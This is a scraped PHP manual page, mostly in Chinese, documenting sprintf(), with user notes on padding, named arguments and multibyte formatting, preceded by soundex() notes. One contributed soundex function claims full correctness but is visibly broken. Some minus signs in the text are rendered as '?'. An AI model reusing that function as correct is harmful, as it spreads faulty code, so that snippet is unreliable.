So, to use the soundex function to generate a WHERE parameter in a MySQL SELECT statement, you might try this:
$s = soundex('Dostoyevski');
SELECT * FROM authors WHERE substring(soundex(lastname), 1 , 4) = "' . $s  . '"';

Or, if you want to bypass the php function
$result = mysql_query("select soundex('Dostoyevski')");
$s = mysql_result($result, 0, 0);
witold4249 at rogers dot com 17-May-2002 10:11
A MUCH easier way to check for similarity between words and avoid the problems that come up with Klancy/Clancy would be to simply add any letter infront of the string

ie:  OKlancy/OClancy
17-May-2002 10:07
A MUCH easier way to do the above search would be to simply add any letter in front of the string and then compare them.

ie. Klancy => LKlancy
    Clancy => LClancy
administrator at zinious dot com 09-Apr-2002 08:21
I wrote this function a long time ago in CGI-perl and then translated (if you can call it that) into PHP.  A little clunky to say the least, but should handle true soundex specs 100%:

// ---begin code---

function MakeSoundEx($stringtomakesoundexof)
{
    $temp_Name = $stringtomakesoundexof;
    $SoundKey1 = "BPFV";
    $SoundKey2 = "CSKGJQXZ";
    $SoundKey3 = "DT";
    $SoundKey4 = "L";
    $SoundKey5 = "MN";
    $SoundKey6 = "R";
    $SoundKey7 = "AEHIOUWY";

        $temp_Name = strtoupper($temp_Name);
    $temp_Last = "";
    $temp_Soundex = substr($temp_Name, 0, 1);

    $n = 1;
    for ($i = 0; $i < strlen($SoundKey1); $i++)
    {
            if ($temp_Soundex == substr($SoundKey1, i - 1, 1))
        {
            $temp_Last = "1";
            }
    }
    for ($i = 0; $i < strlen($SoundKey2); $i++)
    {
            if ($temp_Soundex == substr($SoundKey2, i - 1, 1))
        {
            $temp_Last = "2";
            }
    }
    for ($i = 0; $i < strlen($SoundKey3); $i++)
    {
            if ($temp_Soundex == substr($SoundKey3, i - 1, 1))
        {
            $temp_Last = "3";
            }
    }
    for ($i = 0; $i < strlen($SoundKey4); $i++)
    {
            if ($temp_Soundex == substr($SoundKey4, i - 1, 1))
        {
            $temp_Last = "4";
            }
    }
    for ($i = 0; $i < strlen($SoundKey5); $i++)
    {
            if ($temp_Soundex == substr($SoundKey5, i - 1, 1))
        {
            $temp_Last = "5";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "6";
            }
    }
    for ($i = 0; $i < strlen($SoundKey6); $i++)
    {
            if ($temp_Soundex == substr($SoundKey6, i - 1, 1))
        {
            $temp_Last = "";
            }
    }

    for ($n = 1; $n < strlen($temp_Name); $n++)
    {
        if (strlen($temp_Soundex) < 4)
        {
            for ($i = 0; $i < strlen($SoundKey1); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey1, $i - 1, 1) && $temp_Last != "1")
                {
                    $temp_Soundex = $temp_Soundex."1";
                    $temp_Last = "1";
                }
            }
            for ($i = 0; $i < strlen($SoundKey2); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey2, $i - 1, 1) && $temp_Last != "2")
                {
                    $temp_Soundex = $temp_Soundex."2";
                    $temp_Last = "2";
                }
            }
            for ($i = 0; $i < strlen($SoundKey3); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey3, $i - 1, 1) && $temp_Last != "3")
                {
                    $temp_Soundex = $temp_Soundex."3";
                    $temp_Last = "3";
                }
            }
            for ($i = 0; $i < strlen($SoundKey4); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey4, $i - 1, 1) && $temp_Last != "4")
                {
                    $temp_Soundex = $temp_Soundex."4";
                    $temp_Last = "4";
                }
            }
            for ($i = 0; $i < strlen($SoundKey5); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey5, $i - 1, 1) && $temp_Last != "5")
                {
                    $temp_Soundex = $temp_Soundex."5";
                    $temp_Last = "5";
                }
            }
            for ($i = 0; $i < strlen($SoundKey6); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey6, $i - 1, 1) && $temp_Last != "6")
                {
                    $temp_Soundex = $temp_Soundex."6";
                    $temp_Last = "6";
                }
            }
            for ($i = 0; $i < strlen($SoundKey7); $i++)
            {
                if (substr($temp_Name, $n - 1, 1) == substr($SoundKey7, $i - 1, 1))
                {
                    $temp_Last = "";
                }
            }
        }
    }

    while (strlen($temp_Soundex) < 4)
    {
        $temp_Soundex = $temp_Soundex."0";
    }

    return $temp_Soundex;
}

// --- end code---
cap at capsi dot cx 13-Dec-1999 07:16
soundex() unfortunately is very sensitive about the first character. It is not possible to use it and have Clansy and Klansy return the same value. If you want to do a phonetic search on such names you will still need to write a routine to evaluate C452 as being similar to K452.


返回格式化字符串

  • ? soundex
  • sscanf ?
  • PHP Manual
  • 字符串 函数
  • 返回格式化字符串

sprintf

(PHP 4, PHP 5, PHP 7, PHP 8)

sprintf — 返回格式化字符串

说明

sprintf(string $format, mixed ...$values): string

返回一个根据格式化字符串 format 生成的字符串。

参数

format

format 字符串通常由零或多个指令组成：普通字符（不包含 %）——直接复制到结果，转换规范——获取每个参数的结果。

转换规范遵循此原型： %[argnum$][flags][width][.precision]specifier.

Argnum

整数后跟美元符号 $，用于指定转换中要处理的参数数量。

标志
标志 | 说明
- 在指定字段宽度时左对齐，默认右对齐
+ 正数的加号 +前缀，默认负数的前缀是负号。
(space) | 空格填充结果。这是默认设置。
0 | 仅用 0 进行左侧数字填充。使用 s 标志符可以右侧填充。
'(char) | 用字符（char）填充结果。

Width

要么是整数，表示转换结果应该有多少个字符（最少），要么是 *。如果使用 *，那么宽度将作为额外的整数值提供，位于格式化符号之前。

Precision

小数点 .，可选的后跟整数或者 *，其含义取决于格式化符号：

  • e、E、f、F 标志符：小数点后需要打印的位数（默认是 6）。
  • g、G、h、H 标志符：这是要打印的最大有效位数。
  • s 标志符：充当分界点，为字符串设置最大字符限制。

Note: 如果小数点没有明确的精度值，则假设是 0。如果使用 *，则精度将作为额外的整数值提供，位于格式化符号之前。

标志符
标志符 | 说明
% 字面意思的百分号字符。不需要参数。
b | 参数视为整数并以二进制数字呈现。
c | 参数视为整数并以 ASCII 字符呈现。
d | 参数视为整数并以（有符号）十进制数字呈现。
e | 参数当做科学符号处理（例如 1.2e+2）。
E | 与 e 标志符相同，但使用大写字母（例如 1.2E+2）。
f | 参数当做浮点数处理且作为浮点数呈现（locale aware）。
F | 参数当做浮点数处理且作为浮点数呈现（non-locale aware）。
g

通用格式。

Let P equal the precision if nonzero, 6 if the precision is omitted, or 1 if the precision is zero. Then, if a conversion with style E would have an exponent of X:

If P > X ≥ ?4, the conversion is with style f and precision P ? (X + 1). Otherwise, the conversion is with style e and precision P ? 1.

G | Like the g specifier but uses E and f.
h | Like the g specifier but uses F. Available as of PHP 8.0.0.
H | Like the g specifier but uses E and F. Available as of PHP 8.0.0.
o | 参数视为整数并以八进制数字来呈现。
s | 参数视为字符串来呈现。
u | 参数视为整数并以无符号十进制数字呈现。
x | 参数视为整数并作为十六进制数字呈现（带小写字母）。
X | 参数视为整数并作为十六进制数字呈现（带大写字母）。

Warning

c 类型标志符忽略填充和宽度

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

变量将会强制转换为适合标志符的类型：

类型处理
类型 | 标志符
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

返回值

返回一个根据格式化字符串 format 生成的字符串。

错误／异常

从 PHP 8.0.0 开始，如果参数个数为零，将抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [width] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [precision] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，当传递的参数少于所需的参数时会抛出 ArgumentCountError。在 PHP 8.0.0 之前，返回 false 并发出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 此函数失败时不再返回 false。
8.0.0 | 如果参数个数为零则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [width] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [precision] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 当传递的参数少于所需的参数时抛出 ArgumentCountError；以前该函数则会发出 E_WARNING。

示例

Example #1 参数替换

支持按顺序用参数替换格式字符串里的占位符。

<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
echo sprintf($format, $num, $location);
?>

以上示例会输出：

There are 5 monkeys in the tree

假设，我们想把它国际化，在一个单独的文件中创建格式字符串，我们将它重写为：

<?php
$format = 'The %s contains %d monkeys';
echo sprintf($format, $num, $location);
?>

我们现在有一个问题。 格式字符串中占位符的顺序与代码中参数的顺序不匹配。 我们希望保持代码原样，并在格式字符串中简单地指出占位符引用的参数。 我们可以这样写格式化字符串：

<?php
$format = 'The %2$s contains %1$d monkeys';
echo sprintf($format, $num, $location);
?>

另外一个好处是占位符可以重复使用，而无需在代码中添加更多参数。

<?php
$format = 'The %2$s contains %1$d monkeys.
That\'s a nice %2$s full of %1$d monkeys.';
echo sprintf($format, $num, $location);
?>

当使用参数替换时，n$ 位置指示符 必须紧跟在百分号（%）之后，在任何其他指示符之前，如下所示。

Example #2 指定填充字符

<?php
echo sprintf("%'.9d\n", 123);
echo sprintf("%'.09d\n", 123);
?>

以上示例会输出：

......123
000000123

Example #3 位置说明符与其他说明符

<?php
$format = 'The %2$s contains %1$04d monkeys';
echo sprintf($format, $num, $location);
?>

以上示例会输出：

The tree contains 0005 monkeys

Example #4 sprintf()：零填充整数

<?php
$isodate = sprintf("%04d-%02d-%02d", $year, $month, $day);
?>

Example #5 sprintf()：货币格式

<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
echo $money;
echo "\n";
$formatted = sprintf("%01.2f", $money);
echo $formatted;
?>

以上示例会输出：

123.1
123.10

Example #6 sprintf()：科学记数法

<?php
$number = 362525200;

echo sprintf("%.3e", $number);
?>

以上示例会输出：

3.625e+8

参见

  • printf() - 输出格式化字符串
  • fprintf() - 将格式化后的字符串写入到流
  • vprintf() - 输出格式化字符串
  • vsprintf() - 返回格式化字符串
  • vfprintf() - 将格式化字符串写入流
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化 Unix 时间戳

User Contributed Notes

Anonymous 01-Mar-2022 06:35
If the format string is enclosed in double-quotes (""), you need to escape the dollar sign after argnum with a backslash character (\), like this %1\$s, so that the PHP doesn't try to interpret them as variable. Using a backslash like this is called an escape sequence.

<?php
// Sample string
$number = 499;
$format = "The number without decimal points: %1\$d, and the number with two decimal points: %1\$.2f";

// Formatting and print the string
printf($format, $number);
?>
2838132019 at qq dot com 17-Sep-2021 01:57
echo sprintf("%.2f", "123456789012345.82");
// result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.85");
// result: 123456789012345.84

echo sprintf("%.2f", "123456789012345.87");
//result:  123456789012345.88

echo sprintf("%.2f", "123456789012345.820");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.821");
//result: 123456789012345.83

echo sprintf("%.2f", "123456789012345.828");
//result: 123456789012345.83

echo sprintf("%.2f", "123456789012345.8209");
//result : 123456789012345.83

echo sprintf("%.2f", "1234567890123456.82");
//result: 1234567890123456.75

echo sprintf("%.2f", "123456789012345.82002");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820001");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820101");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820201");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820301");
//result: 123456789012345.81

echo sprintf("%.2f", "123456789012345.820401");
//result: 123456789012345.83
Mirek Z... 15-Mar-2020 07:19
I've performed a simple speed test. sprintf against PHP string concatenation operator. Test was performed on PHP 7.3 for 1 million interations.

I run this several times and what I've noted that string concatenation took about 2.9 seconds, sprintf took 4.3 seconds.
I was thinking about what is faster, what is better to do when we're going to format our string (for example, the message to the user or for log purposes) containing some variables values. Is it better to concatenate string with variables using operator (dot ".") or to use sprintf. The answer is: when you do not plan to implement any multilanguage mechanisms and feel good with hardcoding some texts, the "dot" is almost 1.5 times faster!

Here's the code:

echo 'Start' . PHP_EOL;
$vS_text = 'some text';
$vS = '';
$vf = microtime(true);
for ($vI = 0; $vI < 1000000; $vI++) {
    $vS = 'Start ' . $vI . ' ' . $vS_text . ' ' . $vf . ' end';
}
$vf = microtime(true) - $vf;
echo 'Concat:' . $vf . PHP_EOL;
$vS = '';
$vf = microtime(true);
for ($vI = 0; $vI < 1000000; $vI++) {
    $vS = sprintf('Start %d %s %f end', $vI, $vS_text, $vf);
}
$vf = microtime(true) - $vf;
echo 'Spritf:' . $vf . PHP_EOL;
Anderson 18-Nov-2019 09:23
The old "monkey" example which helped me a lot has sadly disappeared.

I'll Re-post it in comment as a memory.

<?php
$n =  43951789;
$u = -43951789;
$c = 65; // ASCII 65 is 'A'

// notice the double %%, this prints a literal '%' character
printf("%%b = '%b'\n", $n); // binary representation
printf("%%c = '%c'\n", $c); // print the ascii character, same as chr() function
printf("%%d = '%d'\n", $n); // standard integer representation
printf("%%e = '%e'\n", $n); // scientific notation
printf("%%u = '%u'\n", $n); // unsigned integer representation of a positive integer
printf("%%u = '%u'\n", $u); // unsigned integer representation of a negative integer
printf("%%f = '%f'\n", $n); // floating point representation
printf("%%o = '%o'\n", $n); // octal representation
printf("%%s = '%s'\n", $n); // string representation
printf("%%x = '%x'\n", $n); // hexadecimal representation (lower-case)
printf("%%X = '%X'\n", $n); // hexadecimal representation (upper-case)

printf("%%+d = '%+d'\n", $n); // sign specifier on a positive integer
printf("%%+d = '%+d'\n", $u); // sign specifier on a negative integer

/*
%b = '10100111101010011010101101'
%c = 'A'
%d = '43951789'
%e = '4.395179e+7'
%u = '43951789'
%u = '18446744073665599827'
%f = '43951789.000000'
%o = '247523255'
%s = '43951789'
%x = '29ea6ad'
%X = '29EA6AD'
%+d = '+43951789'
%+d = '-43951789'
*/

$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n",      $s); // standard string output
printf("[%10s]\n",    $s); // right-justification with spaces
printf("[%-10s]\n",   $s); // left-justification with spaces
printf("[%010s]\n",   $s); // zero-padding works on strings too
printf("[%'#10s]\n",  $s); // use the custom padding character '#'
printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters

/*
[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[many monke]
*/
?>
Nathan Alan 19-Feb-2017 11:03
Just wanted to add that to get the remaining text from the string, you need to add the following as a variable in your scanf

%[ -~]

Example:

sscanf($sql, "[%d,%d]%[ -~]", $sheet_id, $column, $remaining_sql);
Anonymous 03-Jan-2017 10:02
Be cafeful while trying to refactor longer strings with repeated placeholders like

    sprintf("Hi %s. Your name is %s", $name, $name);

to use argument numbering:

   sprintf("Hi %1$s. Your name is %1$s", $name);

This will nuke you at **runtime**, because of `$s` thing being handled as variable. If you got no $s for substitution, notice will be thrown.

The solution is to use single quotes to prevent variable substitution in string:

   sprintf('Hi %1$s. Your name is %1$s', $name);

If you need variable substitution, then you'd need to split your string to keep it in single quotes:

   sprintf("Hi " . '%1$s' . ". Your {$variable} is " . '%1$s', $name);
Sam Bull 23-Oct-2015 02:35
Fix for sprintfn function for named arguments (http://php.net/manual/en/function.sprintf.php#94608):

Change the first line from:
  $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);
to:
  $arg_nums = array_keys($args);
  array_unshift($arg_nums, 0);
  $arg_nums = array_flip(array_slice($arg_nums, 1, NULL, true));
nmmm at nmmm dot nu 08-Apr-2015 07:31
php printf and sprintf not seems to support star "*" formatting.

here is an example:

printf("%*d\n",3,5);

this will print just "d" instead of "<two spaces>5"
kontakt at myseosolution dot de 26-Feb-2015 10:34
There are already some comments on using sprintf to force leading leading zeros but the examples only include integers. I needed leading zeros on floating point numbers and was surprised that it didn't work as expected.

Example:
<?php
sprintf('%02d', 1);
?>

This will result in 01. However, trying the same for a float with precision doesn't work:

<?php
sprintf('%02.2f', 1);
?>

Yields 1.00.

This threw me a little off. To get the desired result, one needs to add the precision (2) and the length of the decimal seperator "." (1). So the correct pattern would be

<?php
sprintf('%05.2f', 1);
?>

Output: 01.00

Please see http://stackoverflow.com/a/28739819/413531 for a more detailed explanation.
john at jbwalker dot com 24-May-2014 12:24
I couldn't find what should be a WARNING in the documentation above, that if you have more specifiers than variables to match them sprintf returns NOTHING. This fact, IMHO, should also be noted under return values.
hdimac at gmail dot com 14-Apr-2014 04:00
In the examples, is being shown printf, but it should say sprintf, which is the function being explained... just a simple edition mistake.
ivan at php dot net 28-Dec-2013 08:13
There is a minor issue in a code of mb_vsprintf function from viktor at textalk dot com.

In "truncate $arg" section the following line:
  $arg = mb_substr($precision,0,$precision,$encoding);
needs to be replaced with:
  $arg = mb_substr($arg,0,$precision,$encoding);
Alex R. Gibbs 25-Jan-2013 08:17
1.  A plus sign ('+') means put a '+' before positive numbers while a minus sign ('-') means left justify.  The documentation incorrectly states that they are interchangeable.  They produce unique results that can be combined:

<?php
echo sprintf ("|%+4d|%+4d|\n",   1, -1);
echo sprintf ("|%-4d|%-4d|\n",   1, -1);
echo sprintf ("|%+-4d|%+-4d|\n", 1, -1);
?>

outputs:

|  +1|  -1|
|1   |-1  |
|+1  |-1  |

2.  Padding with a '0' is different than padding with other characters.  Zeros will only be added at the front of a number, after any sign.  Other characters will be added before the sign, or after the number:

<?php
echo sprintf ("|%04d|\n",   -2);
echo sprintf ("|%':4d|\n",  -2);
echo sprintf ("|%-':4d|\n", -2);

// Specifying both "-" and "0" creates a conflict with unexpected results:
echo sprintf ("|%-04d|\n",  -2);

// Padding with other digits behaves like other non-zero characters:
echo sprintf ("|%-'14d|\n", -2);
echo sprintf ("|%-'04d|\n", -2);
?>

outputs:

|-002|
|::-2|
|-2::|
|-2  |
|-211|
|-2  |
ignat dot scheglovskiy at gmail dot com 10-Oct-2012 08:47
Here is an example how alignment, padding and precision specifier can be used to print formatted list of items:

<?php

$out = "The Books\n";
$books = array("Book 1", "Book 2", "Book 3");
$pages = array("123 pages ", "234 pages", "345 pages");
for ($i = 0; $i < count($books); $i++) {
    $out .= sprintf("%'.-20s%'.7.4s\n", $books[$i], $pages[$i]);
}
echo $out;

// Outputs:
//
// The Books
// Book 1.................123
// Book 2.................234
// Book 3.................345
?>
Hayley Watson 07-Jun-2012 11:21
If you use argument numbering, then format specifications with the same number get the same argument; this can save repeating the argument in the function call.

<?php

$pattern = '%1$s %1$\'#10s %1$s!';

printf($pattern, "badgers");
?>
krzysiek dot 333 at gmail dot com - zryty dot hekko dot pl 20-Aug-2011 12:48
Encoding and decoding IP adress to format: 1A2B3C4D (mysql column: char(8) )

<?php
function encode_ip($dotquad_ip)
{
    $ip_sep = explode('.', $dotquad_ip);
    return sprintf('%02x%02x%02x%02x', $ip_sep[0], $ip_sep[1], $ip_sep[2], $ip_sep[3]);
}

function decode_ip($int_ip)
{
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>
timo dot frenay at gmail dot com 02-May-2011 05:38
Here is how to print a floating point number with 16 significant digits regardless of magnitude:

<?php
    $result = sprintf(sprintf('%%.%dF', max(15 - floor(log10($value)), 0)), $value);
?>

This works more reliably than doing something like sprintf('%.15F', $value) as the latter may cut off significant digits for very small numbers, or prints bogus digits (meaning extra digits beyond what can reliably be represented in a floating point number) for very large numbers.
carmageddon at gmail dot com 02-Feb-2011 06:38
If you want to convert a decimal (integer) number into constant length binary number in lets say 9 bits, use this:

$binary = sprintf('%08b', $number );

for example:
<?php
$bin = sprintf('%08b',511 );
echo $bin."\n";
?>

would output 111111111
And 2 would output 00000010

I know the leading zeros are useful to me, perhaps they are to someone else too.
dwieeb at gmail dot com 01-Sep-2010 11:54
If you use the default padding specifier (a space) and then print it to HTML, you will notice that HTML does not display the multiple spaces correctly. This is because any sequence of white-space is treated as a single space.

To overcome this, I wrote a simple function that replaces all the spaces in the string returned by sprintf() with the character entity reference "&nbsp;" to achieve non-breaking space in strings returned by sprintf()

<?php
//Here is the function:
function sprintf_nbsp() {
   $args = func_get_args();
   return str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}

//Usage (exactly like sprintf):
$format = 'The %d monkeys are attacking the [%10s]!';
$str = sprintf_nbsp($format, 15, 'zoo');
echo $str;
?>

The above example will output:
The 15 monkeys are attacking the [       zoo]!

<?php
//The variation that prints the string instead of returning it:
function printf_nbsp() {
   $args = func_get_args();
   echo str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}
?>
geertdd at gmail dot com 01-Sep-2010 12:53
Note that when using a sign specifier, the number zero is considered positive and a "+" sign will be prepended to it.

<?php
printf('%+d', 0); // +0
?>
nate at frickenate dot com 13-Nov-2009 11:45
Here's a clean, working version of functions to allow using named arguments instead of numeric ones. ex: instead of sprintf('%1$s', 'Joe');, we can use sprintf('%name$s', array('name' => 'Joe'));. I've provided 2 different versions: the first uses the php-like syntax (ex: %name$s), while the second uses the python syntax (ex: %(name)s).

<?php

/**
 * version of sprintf for cases where named arguments are desired (php syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %second$s ; first: %first$s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)([a-zA-Z_]\w*)(?=\$)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key], $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

/**
 * version of sprintf for cases where named arguments are desired (python syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %(second)s ; first: %(first)s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)\(([a-zA-Z_]\w*)\)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key] . '$', $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

?>
Astone 15-Sep-2009 11:41
When you're using Google translator, you have to 'escape' the 'conversion specifications' by putting <span class="notranslate"></span> around them.

Like this:

<?php

function getGoogleTranslation($sString, $bEscapeParams = true)
{
    // "escape" sprintf paramerters
    if ($bEscapeParams)
    {
        $sPatern = '/(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])/';
        $sEscapeString = '<span class="notranslate">$0</span>';
        $sString = preg_replace($sPatern, $sEscapeString, $sString);
    }

    // Compose data array (English to Dutch)
    $aData = array(
        'v'            => '1.0',
        'q'            => $sString,
        'langpair'    => 'en|nl',
    );

    // Initialize connection
    $rService = curl_init();

    // Connection settings
    curl_setopt($rService, CURLOPT_URL, 'http://ajax.googleapis.com/ajax/services/language/translate');
    curl_setopt($rService, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($rService, CURLOPT_POSTFIELDS, $aData);

    // Execute request
    $sResponse = curl_exec($rService);

    // Close connection
    curl_close($rService);

    // Extract text from JSON response
    $oResponse = json_decode($sResponse);
    if (isset($oResponse->responseData->translatedText))
    {
        $sTranslation = $oResponse->responseData->translatedText;
    }
    else
    {
        // If some error occured, use the original string
        $sTranslation = $sString;
    }

    // Replace "notranslate" tags
    if ($bEscapeParams)
    {
        $sEscapePatern = '/<span class="notranslate">([^<]*)<\/span>/';
        $sTranslation = preg_replace($sEscapePatern, '$1', $sTranslation);
    }

    // Return result
    return $sTranslation;
}

?>

Thanks to MelTraX for defining the RegExp!
jfgrissom at gmail dot com 11-Jul-2009 09:51
I had a nightmare trying to find the two's complement of a 32 bit number.

I got this from http://www.webmasterworld.com/forum88/13334.htm (credit where credit is due... =P  )

Quote: ...find out the 2's complement of any number, which is -(pow(2, n) - N) where n is the number of bits and N is the number for which to find out its 2's complement.

This worked magic for me... previously I was trying to use

sprintf ("%b",$32BitDecimal);
But it always returned 10000000000000000000000 when the $32BitDecimal value got above 2,000,000,000.

This -(pow(2, n) - N)
Worked remarkably well and was very accurate.

Hope this helps someone fighting with two's complement in PHP.
John Walker 09-Jul-2009 05:56
To add to other notes below about floating point problems, I noted that %f and %F will apparently output a maximum precision of 6 as a default so you have to specify 1.15f (eg) if you need more.

In my case, the input (from MySQL) was a string with 15 digits of precision that was displayed with 6. Likely what happens is that the rounding occurs in the conversion to a float before it is displayed. Displaying it as 1.15f (or in my case, %s) shows the correct number.
viktor at textalk dot com 18-Feb-2009 08:16
A more complete and working version of mb_sprintf and mb_vsprintf. It should work with any "ASCII preserving" encoding such as UTF-8 and all the ISO-8859 charsets. It handles sign, padding, alignment, width and precision. Argument swapping is not handled.

<?php
if (!function_exists('mb_sprintf')) {
  function mb_sprintf($format) {
      $argv = func_get_args() ;
      array_shift($argv) ;
      return mb_vsprintf($format, $argv) ;
  }
}
if (!function_exists('mb_vsprintf')) {
  /**
   * Works with all encodings in format and arguments.
   * Supported: Sign, padding, alignment, width and precision.
   * Not supported: Argument swapping.
   */
  function mb_vsprintf($format, $argv, $encoding=null) {
      if (is_null($encoding))
          $encoding = mb_internal_encoding();

      // Use UTF-8 in the format so we can use the u flag in preg_split
      $format = mb_convert_encoding($format, 'UTF-8', $encoding);

      $newformat = ""; // build a new format in UTF-8
      $newargv = array(); // unhandled args in unchanged encoding

      while ($format !== "") {

        // Split the format in two parts: $pre and $post by the first %-directive
        // We get also the matched groups
        list ($pre, $sign, $filler, $align, $size, $precision, $type, $post) =
            preg_split("!\%(\+?)('.|[0 ]|)(-?)([1-9][0-9]*|)(\.[1-9][0-9]*|)([%a-zA-Z])!u",
                       $format, 2, PREG_SPLIT_DELIM_CAPTURE) ;

        $newformat .= mb_convert_encoding($pre, $encoding, 'UTF-8');

        if ($type == '') {
          // didn't match. do nothing. this is the last iteration.
        }
        elseif ($type == '%') {
          // an escaped %
          $newformat .= '%%';
        }
        elseif ($type == 's') {
          $arg = array_shift($argv);
          $arg = mb_convert_encoding($arg, 'UTF-8', $encoding);
          $padding_pre = '';
          $padding_post = '';

          // truncate $arg
          if ($precision !== '') {
            $precision = intval(substr($precision,1));
            if ($precision > 0 && mb_strlen($arg,$encoding) > $precision)
              $arg = mb_substr($precision,0,$precision,$encoding);
          }

          // define padding
          if ($size > 0) {
            $arglen = mb_strlen($arg, $encoding);
            if ($arglen < $size) {
              if($filler==='')
                  $filler = ' ';
              if ($align == '-')
                  $padding_post = str_repeat($filler, $size - $arglen);
              else
                  $padding_pre = str_repeat($filler, $size - $arglen);
            }
          }

          // escape % and pass it forward
          $newformat .= $padding_pre . str_replace('%', '%%', $arg) . $padding_post;
        }
        else {
          // another type, pass forward
          $newformat .= "%$sign$filler$align$size$precision$type";
          $newargv[] = array_shift($argv);
        }
        $format = strval($post);
      }
      // Convert new format back from UTF-8 to the original encoding
      $newformat = mb_convert_encoding($newformat, $encoding, 'UTF-8');
      return vsprintf($newformat, $newargv);
  }
}
?>
splogamurugan at gmail dot com 06-Feb-2009 05:59
$format = 'There are %1$d monkeys in the %s and %s ';
printf($format, 100, 'Chennai', 'Bangalore');

Expecting to output
"There are 100 monkeys in the Chennai and bangalore"

But, this will output
"There are 100 monkeys in the 100 and Chennai"

Because, the second and Third specifiers takes 1rst and 2nd arguments. Because it is not assigned with any arguments.
remy dot damour at -please-no-spam-laposte dot net 15-Jan-2009 11:15
With printf() and sprintf() functions, escape character is not backslash '\' but rather '%'.

Ie. to print '%' character you need to escape it with itself:
<?php
printf('%%%s%%', 'koko'); #output: '%koko%'
?>
php at mikeboers dot com 01-Oct-2008 01:42
